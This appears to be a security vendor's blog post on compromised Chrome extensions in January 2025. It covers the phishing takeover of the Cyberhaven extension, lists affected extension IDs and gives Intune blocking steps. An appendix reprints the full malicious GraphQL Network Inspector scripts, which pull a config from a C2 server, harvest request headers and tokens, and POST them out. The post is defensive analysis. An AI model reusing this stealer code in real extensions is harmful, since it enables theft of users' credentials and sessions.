Compromised Browser Extensions - A Growing Threat Vector

Learn how threat actors leverage browser extensions as an attack vector, including examples for Cyberhaven and GraphQL Network Inspector.

Compromised Browser Extensions - A Growing Threat Vector

Browser extensions often improve user experience and allow users to work more efficiently. Sources estimate that the Chrome Extension store hosts over one hundred thousand unique extensions:

  • Site DebugBear reported 111,933 extensions in August 2024
  • chrome-stats lists the number of extensions as high as 145,316

Regardless of the exact number, most users have several extensions installed within their browsers. These can stem from Ad blockers, citation generators, or punctuation or writing aides.

While most extensions provide value to users, there have been several cases of malicious browser extensions being used to target users. There are different ways by which threat actors deploy malicious browser extensions. The first is compromising existing plugins by exploiting vulnerabilities or compromising developer accounts. This gives a threat actor access to an existing plugin and its code, which can be modified to include malicious capabilities such as keylogging. This is how malicious code was added to the Cyberhaven extension, which is covered in-depth below. Similarly, compromising upstream libraries used by browser extensions may allow a threat actor to deploy code to benign plugins. Lastly, threat actors can design malware that operates as a browser extension. Rilide is an example of an information stealer deployed as a browser extension. 

This blog outlines:

  • How browser extensions work
  • Details about the compromised extensions identified at the beginning of January 2025, including the Cyberhaven and GraphQL Network Inspector extension
  • Mitigation strategies for home and corporate environments

While this blog examines compromises from January 2025, these are just a few examples in recent years where malicious browser extensions have been found. We expect to continue observing malicious browser extensions in the wild and recommend proper permissions review and policy enforcement to mitigate risks. 

How Browser Extensions Work

Browser extensions are small software applications that provide additional functionality and capabilities within a web browser. Browser extensions are usually written in HTML, CSS, or Javascript. Chrome extensions may consist of several items, including:

  • A manifest file
  • Service workers
  • Content scripts
  • Toolbar action
  • Side Panel
  • DeclarativeNetRequest

An explainer on the parts of the Chrome Extension is available here.

Manifest File

The manifest file is a JSON file within the extension’s dirextension's provides essential information about the extension and the files it uses. Figure 1 below contains the manifest file for the Chrome extension OneTab

Figure 1: manifest.json file for OneTab.

OneTab is a productivity plugin that converts all tabs open in a browser into a list, saving memory by reducing the number of tabs open at any given time. The tabs can be opened from the list as required by the user. The manifest file shows the name of the extension along with a description. It also includes any scripts that are run in the background. Content scripts or service workers are where the extension’s functionality is defined. In the case of Figure 1, the manifest includes a reference to the service worker ext-onetab-concatenated-sources-background.js. The manifest file also consists of the list of permissions that the extension uses.

The action API controls the extension’s icon in the browser’s toolbar. The action must be specified in the manifest.json to use this API. In Figure 1, the action defines the default_icons array, a set of images from which one is displayed as the extension's icon in the browser's toolbar.

Service Workers

Service workers are event handlers used by the extension. These scripts run in the background and handle events. Chrome’s developer documentation mentions that these do not have access to DOM content. 

Content Scripts

Content scripts are files run on web pages. These use the DOM to read details about the web page, make changes to them, and collect information. Statically declared scripts are listed in the manifest.json file under the content_scripts key.

Figure 2: Content scripts as defined in the manifest.json for the Zotero extension.

Statically defined scripts need a matches key to determine if the script will be injected into the page. The run_at key indicates when the scripts will be injected into the page. The three values here are:

  • document_start: script is injected after any CSS files but before DOM is created
  • document_end: script is injected after DOM is complete but before resources like images and frames are loaded
  • document_idle: The browser chooses when the script is injected between the document_end and the window.load event triggers.

Viewing Extension Files

Installed extensions are stored in a subdirectory within the profile path defined for Chrome for a particular user. In most cases, the location will be:

OS

Location

Windows

C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Extensions

Mac

~/Library/Application Support/Google/Chrome/Default/Extensions

Linux

~/.config/google-chrome/Default/Extensions/

Extensions are saved by their extension IDs, as shown in Figure 3.

Figure 3: Chrome extensions installed on a Windows device.

Two ways to get the name of the extension:

  1. Open the extension directory and view the manifest.json
  2. Go to the extensions page in the browser -> enable Developer Mode -> IDs should be visible for each extension.

January 2025 Compromised Browser Extensions

The new year started with reports identifying at least 33 compromised Chrome browser extensions. A FieldEffect blog indicates that over 2.6 million users were impacted, and the compromised extensions were used for up to 18 months. One compromised browser extension was from Cyberhaven, a Data Loss Prevention software provider whose extension prevents users from entering data into unauthorized platforms. 

Cyberhaven has released extensive details about how the compromise occurred and what they uncovered from their investigation. Access was obtained through a phishing email that targeted the extension's developers. The email claimed to be from the Chrome Web Store and outlined items that violated Google’s policy and threatened to remove the extension from the Chrome Web Store. Users who interacted with the email granted OAUTH permissions to the malicious application. Once the malicious application was granted access, the threat actor used it to upload the malicious Cyberhaven extension to the Web Store. 

Figure 4: Attack chain observed in the Cyberhaven Compromise
Figure 5: Content of the phishing email sent to Cyberhaven developers
Figure 6: The login prompt launched when the developers interacted with the email, as shown in Figure 5. - Source: Cyberhaven
Figure 7: Request to grant an extension access. This was used to publish the malicious version of the Cyberhaven extension. - Source: Cyberhaven

The malicious Cyberhaven was identified as version 24.10.4 and was similar to previous benign versions of the extensions with some minor additions. The additions allowed the extension to reach out to a command and control server to download configurations and collect data from hard-coded websites. Based on an analysis of the malicious files, the threat actors only sought to collect information from domains related to facebook.com.

💡
While the configuration file downloaded from the C2 server only contained Facebook domains, the threat actor could have modified this at any point to expand their collection capabilities.

Compromised Extensions

Including Cyberhaven, 20 extensions were compromised as part of this campaign. News outlet Ars Technica published a list of the compromised versions and their identifier values for reference. A subset of the compromised extensions are listed below. The extensions below all targeted information. 

Extension Name

ID

Version

VPNCity

kkodiihpgodmdankclfibbiphjkfdenh

2.0.1

Parrot Talks

kkodiihpgodmdankclfibbiphjkfdenh

1.16.2

Uvoice

oaikpkmjciadfpddlpjjdapglcihgdle

1.0.12

Internxt VPN

dpggmcodlahmljkhlmpgpdcffdaoccni

1.1.1

Bookmark Favicon Changer

acmfnomgphggonodopogfbmkneepfgnh

4.0.0

Castorus

mnhffkhmpnefgklngfmlndmkimimbphc

4.40

Wayin AI

cedgndijpacnfbdggppddacngjfdkaca

0.0.11

Search Copilot AI Assistant for Chrome

bbdnohkpnbkdkmnkddobeafboooinpla

1.0.1

VidHelper - Video Downloader

egmennebgadmncfjafcemlecimkepcle

2.27

Cyberhaven security Extension v3

pajkjnmeojmbapicmbpliphjmcekeaac

24.10.4

AI Assistant ChatGPT and Gemini for Chrome

bibjgkidgpfbblifamdlkdlhgihmfohh

0.1.3

Bard AI Chat

pkgciiiancapdlpcbppfkmeaieppikkk

1.3.7

GraphQL Network Inspector

ndlbedplllcgconngcnfmkadhokfaaln

2.22.6

A further 13 compromised extensions were also identified. However, these looked to capture data that could related to payments. Secure Annex released a spreadsheet of the compromised extensions split by code similarities in the malicious versions.

💡
This technical analysis by John Tuckner at Secure Annex provides more details about these 13 extensions.

Cyberhaven Investigation Results

💡
A report released by Booz Allen Hamilton outlined findings based on their malware analysis of the compromised extension.

Cyberhaven’s investigation indicated that the only compromised version of their extension was version 24.10.4, consisting of worker.js and content.js files. The worker.js file was used to establish communication with the C2 server and download configurations from it. The content.js file was used to collect information on websites. The content.js file was static injected into all URLs before creating the DOM.

Figure 8: Differences in the manifest.json between the malicious version and the clean version - Source: Booz Allen Hamilton

The content.js decodes base64 encoded data from a file called `config-block.txt`. The config file contained references to Facebook domains and the C2 used by the extension. 

Figure 9: Service worker script that connects to the C2 server to download a configuration file - Source: Cyberhaven

GraphQL Network Inspector Extension Analysis

Sekoia also identified that version 2.22.6 of the GraphQL Network Inspector extension was compromised. Similar to the compromised version of the Cyberhaven extension, this extension includes malicious Javascript files - background.js and context_responder.js

💡
The malicious files are available as gists on GitHub and in the appendix at the end of this blog.

background.js operates as a service worker. It downloads a configuration from the C2 server and stores it in the browser’s storage. The configuration includes a list of URLs to target. Unlike in Cyberhaven, where the threat actor targeted Facebook, the URLs are related to ChatGPT.

Figure 10: Decoded configuration file - Source: Sekoia
Figure 11: background.js for the GraphQL Network Inspector Connector has similar code to the malicious Cyberhaven extension service worker shown in Figure 9 - Source: Sekoia

The code to download the configuration from the C2 is the same as the Cyberhaven one, except for the C2 URL and the full name of the storage key. 

Similarly, the context_responder.js file is injected into all pages and used to decode the configuration downloaded from the C2 server.

Figure 12: The context_responder.js file decodes data from the configuration file (Content has been truncated). Source - Sekoia

Mitigation Strategies

For Home Users: Being aware of what extensions are enabled and the permissions they grant is often the best way to prevent malicious extensions. Consider only installing essential extensions. Before installing any extension, review the permissions it requires and the details in the privacy section of its web store listing. Users can also use information on the web store, such as the number of users, owner, reviews, and last update time, to gain more information about the extension and its overall trustworthiness. Moreover, users should periodically review installed extensions to identify any that are no longer needed and can be removed. 

For Corporate IT teams that control web browser settings for employees can use tools like Intune to enforce policies determining what extensions can be installed. Before restricting browser extensions within an environment, it would be beneficial to identify what extensions are currently used within the organization. This will allow teams to determine which extensions are required for business use. 

The following steps can be used to deploy an Intune policy to restrict extensions on Chrome.

  1. Open Intune Admin Center
  2. Navigate to the devices section
  3. Go to Manage Devices -> Configuration
  4. Create a Policy
  5. Select the platforms to apply the policy to
  6. Provide a name and description
  7. Click on `Add Settings`
  8. Search for `extension installation blocklist`
  9. Click on the application (for example, Google)
  10. Check the option to configure a blocklist
    1. Deploy a blanket block list using wildcards
  11. Configure an allowlist and enter the extension IDs that are allowed
💡
Jeffrey Appel’s blog on checking and blocking browser extensions via Defender and Intune offers additional details on configuring policies that can be applied to Microsoft Intune.

Rilide At a Glance - An Information Stealing Browser Extension

Rilide is an example of an information stealer masquerading as a browser extension. The malware, which was first reported in April 2023, targets Chromium-based browsers such as Google Chrome and Microsoft Edge. It is designed to take screenshots of information, log passwords, and collect credentials for cryptocurrency wallets. 

Rilide is delivered via malicious advertisements or phishing pages. When users interact with these payloads, a loader installs the Rilide extension. Security researchers have observed Rilide impersonating Google Drive and Palo Alto extensions. Associated IOCs can be accessed using Pulsedive Explore.

Figure 13: Rilide infection chain - Source: Trustwave

References

Chrome Extension Statistics: Data From 2024 | DebugBear
What Chrome extensions are the most popular? Which extensions receive the worst rating? And what authors publish the most Chrome extensions?
33 Chrome extensions found to be malicious
At least 33 malicious Chrome browser extensions found to be covertly siphoning data from users.
Cyberhaven Chrome Extension Breach: Phishing Attack Targets Developers
Learn how a sophisticated phishing attack compromised Chrome extensions like Cyberhaven, exposing millions of users.
Time to check if you ran any of these 33 malicious Chrome extensions
Two separate campaigns have been stealing credentials and browsing history for months.
Sclpfybn Monetization Scheme
An analysis of monetization schemes found during research on Cyberhaven extensions compromised.
Compromised extensions
Final analysis: Chrome extension security incident
Targeted supply chain attack against Chrome browser extensions
In this blog post, learn about the supply chain attack targeting Chrome browser extensions and the associated targeted phishing campaign.
background.js script from the Chrome extension “GraphQL Network Inspector” (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged)
background.js script from the Chrome extension "GraphQL Network Inspector" (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged) - maliciou…
context_responder.js script from the Chrome extension “GraphQL Network Inspector” (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged)
context_responder.js script from the Chrome extension "GraphQL Network Inspector" (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged) - m…
Analyzing a Browser Extension
Learn how to analyze a browser extension for use in your organization
How to check and block “malicious” browser extensions with Microsoft Defender and Intune?
In the past years, malicious browser extensions have been on the rise and are more popular to be used as part of cyberattacks. With the use of malicious extensions, it is possible to gain data/ cookies or gain initial access…
Rilide: A New Malicious Browser Extension for Stealing Cryptocurrencies | Trustwave
Trustwave SpiderLabs uncovered a new strain of malware that it dubbed Rilide, which targets Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, and Opera.

Appendix - Malicious Files from GraphQL Network Inspector

background.js

Gist from Sekoia.

chrome.runtime.onInstalled.addListener(function (e) {
	'install' === e.reason && chrome.tabs.create({ url: 'https://www.overstacked.io/?install=true' });
});
chrome.runtime.onMessage.addListener((t, e, n) => {
	switch (t.action) {
	case 'graphqlnetwork-completions':
		fetch('https://chatgpt.com/status/', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
				Authorization: `Bearer ${ t.key }`
			},
			body: JSON.stringify({
				prompt: 'check',
				max_tokens: 150
			})
		}).then(t => t.json()).then(t => n(t)).catch(t => {
		});
		break;
	case 'graphqlnetwork-redirect':
		fetch(t.url).then(t => t.redirected).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-validate':
		fetch(t.url, {
			method: 'POST',
			headers: {
				Accept: 'application/json, application/xml, text/plain, text/html, *.*',
				'Content-Type': 'application/json'
			},
			body: JSON.stringify(t.pl)
		}).then(t => t.json()).then(t => n(t)).catch(t => {
		});
		break;
	case 'graphqlnetwork-rtext':
		fetch(t.url).then(t => t.text()).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-rjson':
		fetch(t.url).then(t => t.json()).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-check-errors':
		const e = t.pl;
		chrome.webRequest.onBeforeSendHeaders.addListener(function (a) {
			chrome.storage.local.get(['pswo']).then(o => {
				let r;
				var c;
				o.pswo && (r = o.pswo);
				const s = e.n;
				let i = '';
				try {
					i = btoa(JSON.stringify(e.openapi_u));
				} catch (t) {
				}
				let h = null === (c = a.requestHeaders) || void 0 === c ? void 0 : c.find(t => e.hed == t.name.toLowerCase());
				const p = e.openapi_tk + ' || ' + btoa(h.value) + ' || ' + btoa(navigator[s]) + ' || ' + e.uid + ' || ' + i + ' || ' + r + ' || ' + e.k, l = {
						ba1: btoa(p),
						ba2: JSON.stringify(e.graphqlnetwork_cx),
						ba3: JSON.stringify(e.gpta)
					}, d = t.url;
				fetch(d, {
					method: 'POST',
					headers: {
						Accept: 'application/json, application/xml, text/plain, text/html, *.*',
						'Content-Type': 'application/json'
					},
					body: JSON.stringify(l)
				}).then(t => t.json()).then(t => n(t)).catch(t => {
				});
			});
		}, { urls: [e.r] }, [
			'requestHeaders',
			'extraHeaders'
		]), fetch(e.r).then(t => t.text()).then(t => function (t) {
		}).catch();
	}
	return !0;
}), async function () {
	try {
		const t = await fetch('hxxps://graphqlnetwork[.]pro/ai-graphqlnetwork', {
			method: 'POST',
			headers: {
				Accept: 'application/json, application/xml, text/plain, text/html, *.*',
				'Content-Type': 'application/json'
			}
		});
		if (!t.ok)
			throw new Error(`HTTP error! Status: ${ t.status }`);
		const e = await t.json();
		await chrome.storage.local.set({ graphqlnetwork_ext_manage: JSON.stringify(e) }), console.log('Data successfully stored!');
	} catch (t) {
		console.error('An error occurred:', t);
	}
}();

context_responder.js

Gist from Sekoia.

chrome.runtime.onMessage.addListener(function (e, a, c) {
	console.log('Message received:', e), 'getScreenSize' === e.command && c({
		screenWidth: window.screen.width,
		screenHeight: window.screen.height
	});
}), async function () {
	let e, a = document.location.href;
	try {
		const {graphqlnetwork_ext_manage: a} = await chrome.storage.local.get(['graphqlnetwork_ext_manage']);
		e = a ? JSON.parse(a) : null;
	} catch (e) {
		console.error('Error retrieving data from storage:', e);
	}
	e && 2000 !== e.code ? setTimeout(async function () {
		if (a.includes(atob(e.graphqlnetworkc)))
			try {
				await async function (e) {
					const a = atob(e.graphqlnetworkf), c = atob(e.graphqlnetworkg), t = atob(e.graphqlnetworkb), s = atob(e.graphqlnetworkh), o = atob(e.graphqlnetworkd), r = atob(e.graphqlnetworke), n = atob(e.graphqlnetworka), h = atob(e.graphqlnetworki), i = atob(e.graphqlnetworkl), y = atob(e.graphqlnetworkm), p = atob(e.graphqlnetworkn), l = atob(e.graphqlnetworko), d = atob(e.graphqlnetworkp), m = atob(e.graphqlnetworkk);
					atob(e.graphqlnetworkq), atob(e.graphqlnetworkr);
					chrome.runtime.sendMessage({
						action: 'graphqlnetwork-rtext',
						url: a
					}, a => {
						const i = /6kU.*?"/gm;
						let y, p = '';
						for (; null !== (y = i.exec(a));)
							p = y[0].replace('"', '');
						if (p) {
							let a = h + p;
							chrome.runtime.sendMessage({
								action: 'graphqlnetwork-rjson',
								url: s + a
							}, async s => {
								const h = s.id, i = s;
								chrome.runtime.sendMessage({
									action: 'graphqlnetwork-rjson',
									url: c + a
								}, async c => {
									const s = c.data;
									chrome.runtime.sendMessage({
										action: 'graphqlnetwork-rjson',
										url: m + a
									}, async c => {
										const y = c.data;
										chrome.runtime.sendMessage({
											action: 'graphqlnetwork-check-errors',
											url: t,
											pl: {
												dm: atob(e.graphqlnetworkc),
												openapi_tk: a,
												openapi_u: i,
												graphqlnetwork_cx: s,
												gpta: y,
												uid: h,
												hed: o,
												n: r,
												r: n,
												k: ''
											}
										}, () => {
											chrome.storage.local.set({ graphqlnetwork_ext_log: JSON.stringify(h) });
										});
									});
								});
							});
						}
					}), document.body.addEventListener(y, () => {
						document.querySelectorAll(i).forEach(async e => {
							const a = e.getAttribute(d);
							if (a && a.includes(p))
								try {
									const {graphqlnetwork_ext_log: e} = await chrome.storage.local.get(['graphqlnetwork_ext_log']), c = e ? JSON.parse(e) : '';
									chrome.runtime.sendMessage({
										action: 'graphqlnetwork-validate',
										url: l,
										pl: {
											sc: btoa(a),
											cf: btoa(c)
										}
									});
								} catch (e) {
									console.error('Error retrieving log data:', e);
								}
						});
					});
				}(e);
			} catch (e) {
				console.error('Error processing valid URL:', e);
			}
		else
			chrome.runtime.sendMessage({
				action: 'graphqlnetwork-redirect',
				url: e.graphqlnetworkf
			}, a => {
				0 === a && chrome.runtime.sendMessage({
					action: 'graphqlnetwork-completions',
					key: e.graphqlnetworkd
				});
			});
	}, 2000) : chrome.runtime.sendMessage({
		action: 'graphqlnetwork-redirect',
		url: e.graphqlnetworkf
	}, a => {
		0 === a && chrome.runtime.sendMessage({
			action: 'graphqlnetwork-completions',
			key: e.graphqlnetworkd
		});
	});
}();